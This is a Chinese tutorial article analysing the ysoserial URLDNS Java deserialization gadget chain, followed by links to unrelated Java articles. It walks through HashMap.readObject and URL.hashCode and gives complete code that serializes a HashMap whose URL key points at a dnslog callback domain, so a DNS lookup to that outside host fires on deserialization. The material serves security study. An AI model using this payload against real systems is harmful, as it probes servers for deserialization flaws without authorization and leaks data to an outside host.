java?安全ysoserial?URLDNS利用鏈分析
JAVA序列化和反序列化的基本概念
在分析URLDNS之前,必須了解JAVA序列化和反序列化的基本概念。
其中幾個重要的概念:
需要讓某個對象支持序列化機制,就必須讓其類是可序列化,為了讓某類可序列化的,該類就必須實現(xiàn)如下兩個接口之一:
Serializable:標記接口,沒有方法
Externalizable:該接口有方法需要實現(xiàn),一般不用這種
序列化對象時,默認將里面所有屬性都進行序列化,但除了static或transient修飾的成員。
序列化具備可繼承性,也就是如果某類已經實現(xiàn)了序列化,則它的所有子類也已經默認實現(xiàn)了序列化。
序列化和反序列化的類
ObjectOutputStream:提供序列化功能
ObjectInputStream:提供反序列化功能
序列化方法:
.writeObject()
反序列化方法:
.readObject()
既然反序列化方法.readObject(),所以通常會在類中重寫該方法,為實現(xiàn)反序列化的時候自動執(zhí)行。
簡單測試
public class Urldns implements Serializable { public static void main(String[] args) throws Exception { Urldns urldns = new Urldns(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt")); objectOutputStream.writeObject(urldns); } public void run(){ System.out.println("urldns run"); } private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { System.out.println("urldns readObject"); s.defaultReadObject(); } }
重寫的readobject方法
對這個測試類Urldns做序列化后,反序列化的時候執(zhí)行了重寫的readobject方法。
import java.io.*; public class Serializable_run implements Serializable{ public void run(ObjectInputStream s) throws IOException, ClassNotFoundException { s.readObject(); } public static void main(String[] args) throws Exception { Serializable_run serializable_run = new Serializable_run(); serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt"))); } }
所以只要對readobject方法做重寫就可以實現(xiàn)在反序列化該類的時候得到執(zhí)行。
分析URLDNS的利用鏈
利用鏈的思路大致如此,那么分析URLDNS的利用鏈。
public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; }
該類實際返回HashMap類型,但是HashMap用來用來存儲數(shù)據(jù)的數(shù)組是transient,序列化時忽略數(shù)據(jù)。
因為HashMap重寫了writeobject方法,在writeobject實現(xiàn)了對數(shù)據(jù)的序列化。
還存在重寫readobject方法,那么分析readobject中的內容。
方法中遍歷key值執(zhí)行putVal方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
觸發(fā):
putVal(hash(key), key, value, false, false);
觸發(fā):
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
這里的key對象如果是URL對象,那么就
觸發(fā):URL類中的hashCode方法
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
觸發(fā)DNS請求:
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress; }
在hashCode=-1的時候,可以觸發(fā)DNS請求,而hashCode私有屬性默認值為-1。
所以為了實現(xiàn)readobject方法的DNS請求,接下來要做的是:
1、制造一個HashMap對象,且key值為URL對象;
2、保持私有屬性hashcode為-1;
所以構造DNS請求的HashMap對象內容應該是:
public class Urldns implements Serializable { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz"); Class<?> aClass = Class.forName("java.net.URL"); Field hashCode = aClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,1); map.put(url, "xzjhlk"); hashCode.set(url,-1); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt")); objectOutputStream.writeObject(map); } }
至于為什么在序列化的時候要通過反射將url對象中的hashCode屬性稍微非-1,是因為hashCode的put方法也實際調用的是putVal(hash(key), key, value, false, true);
這個過程將觸發(fā)一次DNS請求。
以上就是java 安全ysoserial URLDNS利用鏈分析的詳細內容,更多關于java 安全 ysoserial URLDNS的資料請關注腳本之家其它相關文章!
相關文章
Java多線程Queue、BlockingQueue和使用BlockingQueue實現(xiàn)生產消費者模型方法解析
這篇文章主要介紹了Java多線程Queue、BlockingQueue和使用BlockingQueue實現(xiàn)生產消費者模型方法解析,涉及queue,BlockingQueue等有關內容,具有一定參考價值,需要的朋友可以參考。2017-11-11JPA @GeneratedValue 四種標準用法TABLE,SEQUENCE,IDENTITY,
這篇文章主要介紹了@GeneratedValue 四種標準用法TABLE,SEQUENCE,IDENTITY,AUTO詳解,需要的朋友可以參考下2024-03-03MyBatis實現(xiàn)批量插入數(shù)據(jù),多重forEach循環(huán)
這篇文章主要介紹了MyBatis實現(xiàn)批量插入數(shù)據(jù),多重forEach循環(huán)方式,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-02-02intellij IDEA配置springboot的圖文教程
Spring Boot是由Pivotal團隊提供的全新框架,其設計目的是用來簡化新Spring應用的初始搭建以及開發(fā)過程。接下來通過本文給大家介紹intellij IDEA配置springboot的圖文教程,感興趣的朋友一起看看吧2018-03-03JSP 開發(fā)之 releaseSession的實例詳解
這篇文章主要介紹了JSP 開發(fā)之 releaseSession的實例詳解的相關資料,需要的朋友可以參考下2017-07-07Java SpringBoot模板引擎之 Thymeleaf入門詳解
jsp有著強大的功能,能查出一些數(shù)據(jù)轉發(fā)到JSP頁面以后,我們可以用jsp輕松實現(xiàn)數(shù)據(jù)的顯示及交互等,包括能寫Java代碼。但是,SpringBoot首先是以jar的方式,不是war;其次我們的tomcat是嵌入式的,所以現(xiàn)在默認不支持jsp2021-10-10PowerJob的TimingStrategyHandler工作流程源碼解讀
這篇文章主要為大家介紹了PowerJob的TimingStrategyHandler工作流程源碼解讀,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2024-01-01